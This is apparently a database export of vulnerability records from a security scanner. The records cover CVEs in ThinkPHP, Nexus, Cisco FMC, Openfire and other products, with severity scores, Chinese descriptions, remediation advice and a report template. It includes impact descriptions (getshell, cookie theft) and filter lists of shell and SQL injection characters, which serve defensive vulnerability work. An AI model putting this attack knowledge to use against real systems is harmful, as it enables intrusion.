"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | ThinkPHP Controller 代码注入漏洞（漏洞编号：CNVD-2018-24942）指由于 ThinkPHP 框架对控制器名没有进行足够严格的安全检测，导致在没有开启强制路由的情况下，攻击者可以构造特定的请求在服务端注入恶意代码。该漏洞会导致攻击者可以在服务器上执行任意的攻击代码，窃取服务器上的敏感信息甚至通过系统提权方式控制服务器，危害十分严重。 | null | 查看 ThinkPHP 版本信息是否在漏洞影响范围内，如果在范围内则说明存在ThinkPHP Controller 代码注入漏洞。 | ThinkPHP InvokeFunction 远程代码执行漏洞 | http | 暂无 | f | 11/3/2021 08:09:14 | 1. 更新 ThinkPHP 框架至最新版，ThinkPHP 5.0 系列升级至 5.0.23，ThinkPHP 5.1 系列升级至 5.1.31；
2. 如果暂时无法更新到最新版本，请开启强制路由并添加相应未定义路由；
3. 在相应文件中添加检查控制器的补丁代码：
```
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
``` |
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:sonatype:nexus_repository_manager:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "3.14.0"}]}] | null | f | CT-123715 | CNNVD-201811-514 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-123715,CVE-2018-16621,CNVD-2019-07007,CNNVD-201811-514} | high | 7.2 | CNVD-2019-07007 | 通过专业的安全评估，如果被攻击者利用，可直接getshell；可被用于内网信息收集，扫描目标内网主机；可攻击运行在内网或本地的应用程序；可被用作攻击跳板； | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Sonatype Nexus Repository Manager（又名NXRM）是一款maven仓库管理器。 Sonatype NXRM 3.14之前版本中存在安全漏洞。攻击者可利用该漏洞在服务器上执行代码。 | CVE-2018-16621 | CVE-2018-16621: Sonatype Nexus Repository Manager 代码注入漏洞 | http | 暂无 | f | 15/11/2018 16:00:00 | 严格检查参数的数据类型、数值与数据长度； 过滤可能产生命令注入的特殊字符，例如：$、=、'、、||、>、-、>>、等；升级中间件版本； |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:pelco:digital_sentry_server:7.18.72.11464:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-149754 | CNNVD-202102-1206 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | f | {CT-149754,CVE-2021-27232,CNNVD-202102-1206} | high | 8.8 | null | 可能造成造成信息泄露，getshell，业务系统不稳定等安全问题 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | Pelco Digital Sentry Server中存在缓冲区错误漏洞，该漏洞源于网络系统或产品在内存上执行操作时，未正确验证数据边界，导致向关联的其他内存位置上执行了错误的读写操作。攻击者可利用该漏洞导致缓冲区溢出或堆溢出等。 | CVE-2021-27232 | CVE-2021-27232: Pelco Digital Sentry Server 缓冲区错误漏洞 | null | 暂无 | f | 15/2/2021 16:00:00 | 建议尽快修复安全问题，并做好安全管理工作，定期进行安全巡检，最大程度地避免安全问题。升级相关加密套件，更新相关软件。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:cisco:firepower_management_center_virtual_appliance:6.2.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:sourcefire_defense_center:6.4.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:sourcefire_defense_center:6.5.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "7.0.1", "versionStartIncluding": "7.0.0"}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "6.7.0.3", "versionStartIncluding": "6.7.0"}, {"cpe23Uri": "cpe:2.3:a:cisco:sourcefire_defense_center:6.2.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_management_center_virtual_appliance:7.1.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:sourcefire_defense_center:6.6.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:sourcefire_defense_center:7.0.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_management_center_virtual_appliance:6.4.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_management_center_virtual_appliance:6.5.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_management_center_virtual_appliance:6.6.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_management_center_virtual_appliance:6.7.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_management_center_virtual_appliance:7.0.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_management_center_virtual_appliance:6.6.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_management_center_virtual_appliance:6.6.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_management_center_virtual_appliance:6.6.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:sourcefire_defense_center:6.6.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:sourcefire_defense_center:6.6.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:sourcefire_defense_center:6.6.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "6.6.5", "versionStartIncluding": "6.5.0"}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "6.4.0.13"}]}] | null | f | CT-193468 | CNNVD-202110-1983 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | f | {CT-193468,CVE-2021-34762,CNNVD-202110-1983} | high | 8.1 | null | 攻击者通过利用一些特殊字符就可以绕过服务器的安全限制，访问任意的文件（可以使 web 根目录以外的文件），甚至执行系统命令。 | null | service | null | Cisco Firepower Management Center（FMC）是美国思科（Cisco）公司的新一代防火墙管理中心软件。 Cisco Firepower Management Center Software 存在安全漏洞，该漏洞源于基于 Web 的管理界面对 HTTPS URL 的输入验证不足。攻击者可以通过向受影响的设备发送包含目录遍历字符序列的精心设计的 HTTPS 请求来利用此漏洞。成功的利用可能允许攻击者在设备上读取或写入任意文件。 | CVE-2021-34762 | CVE-2021-34762: Cisco Firepower Management Center 路径遍历漏洞 | null | 暂无 | f | 27/10/2021 16:00:00 | 1. 配置文件：在配置文件中限制访问的文件目录，比如 PHP 中 php.ini 配置 open_basedir。
2. 特殊字符过滤：检查用户输入，过滤或转义含有“../”、“..\”、“%00”，“..”，“./”，“#”等跳转目录或字符终止符、截断字符的输入。
3. 合法性判断：严格过滤用户输入字符的合法性，比如文件类型、文件地址、文件内容等。
4. 对传入的文件名参数进行过滤，并且判断是否是允许获取的文件类型，过滤回溯符 ../
5. 白名单：白名单限定访问文件的路径、名称及后缀名。 |
|
[] | null | f | CT-276800 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | f | {CT-276800,CVE-2017-1000440} | low | 0 | null | 可能造成造成信息泄露，业务系统不稳定等安全问题 | null | service | null | CVE-2017-1000440 | CVE-2017-1000440: CVE-2017-1000440 | null | 暂无 | f | 29/12/2017 16:00:00 | 建议尽快修复安全问题，并做好安全管理工作，定期进行安全巡检，最大程度地避免安全问题。 |
||
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:ts-ranksystem:tsn-ranksystem:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.2.7"}]}] | null | f | CT-549773 | CNNVD-202301-863 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | f | {CT-549773,CVE-2018-25073,CNNVD-202301-863} | medium | 6.1 | null | 1. 钓鱼欺骗：最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站，或者注入钓鱼 JavaScript 以监控目标网站的表单输入，甚至发起基于 DHTML 更高级的钓鱼攻击方式。
2. 网站挂马：跨站后利用 IFrame 嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上，或者弹出恶意网站窗口等方式都可以进行挂马攻击。
3. 身份盗用：Cookie 是用户对于特定网站的身份验证标志，XSS 可以盗取用户的 Cookie，就可以获取到用户对网站的操作权限，从而查看用户隐私信息。
4. 垃圾信息发送：在社交网站社区中，利用 XSS 漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。
5. 劫持用户 Web 行为：一些高级的 XSS 攻击甚至可以劫持用户的 Web 行为，从而监视用户的浏览历史、发送与接收的数据等等。
6. XSS 蠕虫：借助 XSS 蠕虫病毒还可以用来打广告、刷流量、挂马、恶作剧、破坏数据、实施 DDoS 攻击等。
7. 控制受害者机器向其他系统发起攻击。 | null | service | null | TSN-Ranksystem是Newcomer1989个人开发者的一个易于处理的级别系统。可以自动向 TeamSpeak 服务器上的用户授予在线时间或在线活动的排名（服务器组）。 Newcomer1989 TSN-Ranksystem 1.2.6版本及之前版本存在跨站脚本漏洞。攻击者利用该漏洞执行跨站脚本攻击。 | CVE-2018-25073 | CVE-2018-25073: TSN-Ranksystem 跨站脚本漏洞 | null | 暂无 | f | 10/1/2023 16:00:00 | xss 漏洞本质上是一种 html 注入，也就是将 html 代码注入到网页中。那么其防御的根本就是在将用户提交的代码显示到页面上时做好一系列的过滤与转义
```
1. 不信任用户提交的任何内容，对所有用户提交内容进行可靠的输入验证，包括对 URL、查询关键字、HTTP 头、REFER、POST 数据等，仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交，对其他的一律过滤。尽量采用 POST 而非 GET 提交表单; 对 "<"，">"，";"，""" 等字符做过滤; 任何内容输出到页面之前都必须加以 en-code，避免不小心把 htmltag 显示出来。
2. 实现 Session 标记 (session tokens)、CAPTCHA(验证码) 系统或者 HTTP 引用头检查，以防功能被第三方网站所执行，对于用户提交信息的中的 img 等 link，检查是否有重定向回本站、不是真的图片等可疑操作。
3. cookie 防盗。避免直接在 cookie 中泄露用户隐私，例如 email、密码，等等; 通过使 cookie 和系统 IP 绑定来降低 cookie 泄露后的危险。这样攻击者得到的 cookie 没有实际价值，很难拿来直接进行重放攻击。
4. 对输出到页面的数据进行相应的编码转换，如 HTML 实体编码、JS 编码等。对输出的数据也要检查，数据库里的值有可能会在一个大网站的多处都有输出，即使在输入做了编码等操作，在各处的输出点时也要进行检查。
5. 确认接收的内容被妥善地规范化，仅包含最小的、安全的 Tag(没有 JavaScript)，去掉任何对远程内容的引用(尤其是样式表和 JavaScript)，使用 HTTPonly 的 cookie。
6. 不仅验证数据的类型，还要验证其格式、长度、范围和内容。不仅在客户端做数据的验证与过滤，关键的过滤步骤在服务端进行。
```
- 代码层面
- 在服务端进行输入验证（输入验证）
- 服务器后端进行输入验证，包括输入的数据类型、数据长度、数据格式、特殊字符等进行验证。
- 数据输出实体编码（输出编码）
- 输出编码手段主要有 3 种编码：URL 编码、HTML 编码和 JavaScript 编码。
- JAVA：开源的 ESAPI library；框架（Spring：HtmlUtils.htmlEscape） PHP：使用 htmlspecialchars 等函数进行过滤输出。
- 其他层面
- 使用模版引擎
- 开启模板引擎自带的 HTML 转义功能。例如： 在 ejs 中，尽量使用 <%= data %> 而不是 <%- data %>； 在 doT.js 中，尽量使用 {{! data } 而不是 {{= data }； 在 FreeMarker 中，确保引擎版本高于 2.3.24，并且选择正确的 freemarker.core.OutputFormat。
- 避免内敛事件
- 尽量不要使用 onLoad="onload('{{data}}')"、onClick="go('{{action}}')" 这种拼接内联事件的写法。在 JavaScript 中通过 .addEventlistener() 事件绑定会更安全。
- 避免拼接 HTML
- 前端采用拼接 HTML 的方法比较危险，如果框架允许，使用 createElement、setAttribute 之类的方法实现。或者采用比较成熟的渲染框架，如 Vue/React 等。
- 使用 CSP
- Content Security Policy：禁止加载外域代码，防止复杂的攻击逻辑；禁止外域提交，网站被攻击后，用户的数据不会泄露到外域；禁止内联脚本执行；禁止未授权的脚本执行。
- 使用httponly
- HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie，攻击者完成 XSS 注入后也无法窃取此 Cookie。httponly 无法完全的防御 xss 漏洞，它只是规定了不能使用 js 去获取 cookie 的内容，因此它只能防御利用 xss 进行 cookie 劫持的问题。Httponly 是在 set-cookie 时标记的，可对单独某个参数标记也可对全部参数标记。由于设置 httponly 的方法比较简单，使用也很灵活，并且对防御 cookie 劫持非常有用，因此已经渐渐成为一种默认的标准。
- 前端
- 在不影响客户正常使用的情况下使用 js，由客户端运行，过滤特殊字符，如: 单引号'&' , '<' , '\' 之类的敏感字符转义为 & , < , >，用户所编写的 HTML 代码就变成了字符，剩下富文本格式。
- 后端
- PHP:
- 直接输出到 HTML 的可以尝试使用以下方法进行过滤: htmlspecialchars 函数、htmlentities 函数、HTMLPurifier.auto.php 插件等;
- 输出到 JS 代码中，或者开发 Json API 的，则需要前端在 JS 中进行过滤：
- 1. 尽量使用 innerText(IE) 和 textContent(Firefox), 也就是 jQuery 的 text() 来输出文本内容。
- 2. 必须要用 innerHTML 等等函数，则需要做类似 php 的 htmlspecialchars 的过滤。
- Java: 采用开源的实现 ESAPI library 参考网址: https://owasp.org/www-project-enterprise-security-api/
- Asp: 使用 Microsoft 防跨站点脚本库 (AntiXSS) 并将其设置为您的默认 HTML 编码器。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:online_banking_system_project:online_banking_system:1.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-398916 | CNNVD-202203-1464 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | f | {CT-398916,CVE-2022-25494,CNNVD-202203-1464} | critical | 9.8 | null | 攻击者可以在易受攻击的系统上执行任意 SQL 语句。根据正在使用的后端数据库， SQL 注入漏洞会导致攻击者访问不同级别的数据/系统。在某些情况下，可以读入或写出文件，或者在底层操作系统上执行 shell 命令。 | null | service | null | Banking System是Carlo Montero个人开发者的一个简单的银行系统项目。用于管理银行客户的账户并处理客户的基本交易。 Online Banking System 1.0版本 存在安全漏洞，该漏洞源于Online Banking System 通过 staff_login.php 文件导致SQL注入漏洞。 | CVE-2022-25494 | CVE-2022-25494: Banking System SQL注入漏洞 | null | 暂无 | f | 15/3/2022 16:00:00 | - 输入验证
1. 类型判断：字符型、整型；
2. 长度判断：设置最大长度值；
3. 业务参数合法性判断：比如支付金额不可能为负值这种；
4. 特殊字符过滤：比如'，"，\，<，>，&，*，;，#，select，from，where，sub，if，union，sleep，and，or 等；
5. 验证所有的输入点，包括 UA、Cookie 以及其他 HTTP 头；
- 预编译处理 & 参数化查询
1. 所有与数据库交互的业务接口均采用参数化查询，参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中，参数化查询是防御 SQL 注入的最佳方法，比如：Java 中的 PreparedStatement，PHP 中的 PDO 等。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:igniterealtime:openfire:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "3.9.3"}]}] | null | f | CT-35981 | CNNVD-201505-366 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | 74305 | f | {CT-35981,CVE-2014-3451,CNVD-2015-03292,CNNVD-201505-366,74305} | high | 7.5 | CNVD-2015-03292 | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | Openfire XMPP Server是IgniteRealtime社区的一款采用Java开发且基于XMPP（前称Jabber，即时通讯协议）的跨平台开源实时协作（RTC）服务器，它能够构建高效率的即时通信服务器，并支持上万并发用户数量。 OpenFire XMPP Server 3.10之前的版本中存在安全漏洞。远程攻击者可利用该漏洞实施欺骗攻击。 | CVE-2014-3451 | CVE-2014-3451: Openfire XMPP Server 安全漏洞 | null | 暂无 | f | 18/8/2017 16:00:00 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:simple_machines:smf_shoutbox:1.15:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:simple_machines:smf_shoutbox:1.14:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:simple_machines:smf_shoutbox:1.16b:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-118147 | CNNVD-200802-275 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
